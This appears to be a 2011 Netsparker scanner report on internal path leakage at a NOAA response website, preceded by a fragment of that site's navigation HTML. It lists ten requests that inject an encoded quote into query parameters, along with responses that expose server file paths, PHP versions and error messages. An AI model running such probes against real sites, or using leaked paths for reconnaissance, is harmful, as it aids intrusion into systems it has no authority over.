<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self">Document Accessibility</a></td>
</tr>
</table> </td> </tr> </table> <!-- this td is the end of the left menu column --> </td> <!-- the next td starts the central panel --> <td align="left" valign="top" width="100%" height="100%"> <table summary="for page layout only" border="0" cellspacing="0" cellpadding="6"> <tr> <td align="left" valign="top" colspan='2'> <table border="0" cellspacing="0" cellpadding="0"> <!-- special deepwater horizon under banner --> <tr> <td><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="deepwaterhorizon" target="_self"><img src="art_gallery/banners/banner_dwh_under.jpg" alt="introductory text" name="special under banner" border="0"></a></td> </tr> </table> </td> </tr> <tr><td colspan='2'><table border='0' cellspacing='0' cellpadding='0' align='center'><tr><td class='entrygroup_table'><a href='dwh.php?entry_id=809' target='_self'>Latest News</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=811' target='_self'>NOAA Roles</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=814' target='_self'>NOAA People</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=819' target='_self'>External Affairs</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=812' target='_self'><strong>Factsheets Publications</strong></a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=820' target='_self'>Press Releases</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=813' target='_self'>Multimedia</a></td></tr></table></td></tr> <tr> <!-- this td tag contains the center content area of the page --> <td align="left" valign="top"> <!-- this next table holds the right side column of the page --> <!-- show the ordinary side bar --> <table summary="for page layout only" align="right" valign="top" border="0" cellspacing="2" cellpadding="2"> <tr> <td align="center" valign="middle"> <!-- sidebar link box 1 --> <table class="sidebar_table" width="158" border="0" cellspacing="4" cellpadding="8"> <tr> <td> <span class="sidebar_titles">For more information</span><br> </td> </tr> <tr> <td class="sidebar_cell"> <a href='/deepwaterhorizon/informationresources' target="_self"><span class="link_title">Information Resources</span></a><br> <span class="link_notes">A collection of links to other web sites with Deepwater Horizon information.</span> <span class="link_info"></span> </td> </tr> </table> <!-- sidebar resource box 1 --> <!-- sidebar link box 2 --> <!-- sidebar resource box 2 --> <!-- sidebar link box 3 --> <!-- sidebar resource box 3 --> <!-- sidebar link box 4 --> <!-- sidebar resource box 4 --> <!-- sidebar link box 5 --> <!-- sidebar resource box 5 --> <!-- sidebar resource box 6 --> <!-- sidebar photo gallery box --> <!-- sidebar faq box --> <!-- sidebar nav link box --> </td> </tr> </table> <p><span class="feature_title">Publications, Factsheets and One-Pagers</span></p> <p> <!-- title / graphic / text block 1 --> </p> <p><span class="feature_title"></span></p> <p>Download more detailed documents with background and technical information.
<P><ul><li><a href="#currentmaps">Cum..
[Possible] Internal Path Leakage (*nix)

[Possible] Internal Path Leakage (*nix)

10 TOTAL
INFORMATION
Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.

Remediation

  • Error messages should be disabled.
  • Remove this kind of private data from the output.

External References

- /topic_subtopic.php

/topic_subtopic.php

http://response.restoration.noaa.gov/topic_subtopic.php?RECORD_KEY%28subtopics%29=%2527&subtopic_id(..

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php

Request

GET /topic_subtopic.php?RECORD_KEY%28subtopics%29=%2527&subtopic_id(subtopics)=25 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 339
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: &quot;Undefined index: %27(subtopics)&quot; on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /topic_catalog.php

/topic_catalog.php

http://response.restoration.noaa.gov/topic_catalog.php?RECORD_KEY%28topics_chosen%29=%2527&topic_id(..

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php

Request

GET /topic_catalog.php?RECORD_KEY%28topics_chosen%29=%2527&topic_id(topics_chosen)=1 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 343
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: &quot;Undefined index: %27(topics_chosen)&quot; on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /audience_subtopic_entry.php

/audience_subtopic_entry.php

http://response.restoration.noaa.gov/audience_subtopic_entry.php?entry_id=%2527&subtopic_id=27&audie..

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/audience_subtopic_entry.php

Request

GET /audience_subtopic_entry.php?entry_id=%2527&subtopic_id=27&audience_id=4 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 335
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<br /><b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/audience_subtopic_entry.php</b> on line <b>28</b><br />
- /dwh.php

/dwh.php

http://response.restoration.noaa.gov/dwh.php?entry_id=%2527

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/dwh.php

Request

GET /dwh.php?entry_id=%2527 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 290
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <br /><b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/dwh.php</b> on line <b>25</b><br />
- /audience_catalog.php

/audience_catalog.php

http://response.restoration.noaa.gov/audience_catalog.php?RECORD_KEY%28audience_chosen%29=%2527&audi..

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php

Request

GET /audience_catalog.php?RECORD_KEY%28audience_chosen%29=%2527&audience_id(audience_chosen)=1 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 344
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: &quot;Undefined index: %27(audience_chosen)&quot; on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /type_catalog.php

/type_catalog.php

http://response.restoration.noaa.gov/type_catalog.php?RECORD_KEY%28type_chosen%29=%2527&type_id(type..

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php

Request

GET /type_catalog.php?RECORD_KEY%28type_chosen%29=%2527&type_id(type_chosen)=2 HTTP/1.1
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=812
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 342
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: &quot;Undefined index: %27(type_chosen)&quot; on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /gallery_gallery.php

/gallery_gallery.php

http://response.restoration.noaa.gov/gallery_gallery.php?RECORD_KEY%28gallery_index%29=%2527&joinpho..

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php

Request

GET /gallery_gallery.php?RECORD_KEY%28gallery_index%29=%2527&joinphotogal_id(gallery_index)=212&gallery_id(gallery_index)=15&photo_id(gallery_index)=145 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 341
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: &quot;Undefined index: %27(gallery_index)&quot; on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /type_subtopic_entry.php

/type_subtopic_entry.php

http://response.restoration.noaa.gov/type_subtopic_entry.php?RECORD_KEY%28entry_subtopic_type%29=%25..

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php

Request

GET /type_subtopic_entry.php?RECORD_KEY%28entry_subtopic_type%29=%2527&entry_id(entry_subtopic_type)=328&subtopic_id(entry_subtopic_type)=24&type_id(entry_subtopic_type)=3 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 348
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: &quot;Undefined index: %27(entry_subtopic_type)&quot; on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /topic_subtopic_entry.php

/topic_subtopic_entry.php

http://response.restoration.noaa.gov/topic_subtopic_entry.php?RECORD_KEY%28entry_subtopic_topic%29=%..

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php

Request

GET /topic_subtopic_entry.php?RECORD_KEY%28entry_subtopic_topic%29=%2527&entry_id(entry_subtopic_topic)=837&subtopic_id(entry_subtopic_topic)=2&topic_id(entry_subtopic_topic)=1 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 347
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: &quot;Undefined index: %27(entry_subtopic_topic)&quot; on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>
- /resource_resourcetopic.php

/resource_resourcetopic.php

http://response.restoration.noaa.gov/resource_resourcetopic.php?RECORD_KEY%28resourcetopics%29=%2527..

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php

Request

GET /resource_resourcetopic.php?RECORD_KEY%28resourcetopics%29=%2527&resourcetopic_id(resourcetopics)=95 HTTP/1.1
Referer: http://response.restoration.noaa.gov/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=a4092428de66ea468713a38253ab2097
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:47:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 344
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<meta name="generator" content="Adobe GoLive 6">
<ERROR Number="8" Description="Error: &quot;Undefined index: %27(resourcetopics)&quot; on line 408 of /mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/config/include/mysql.runtime6.php."/>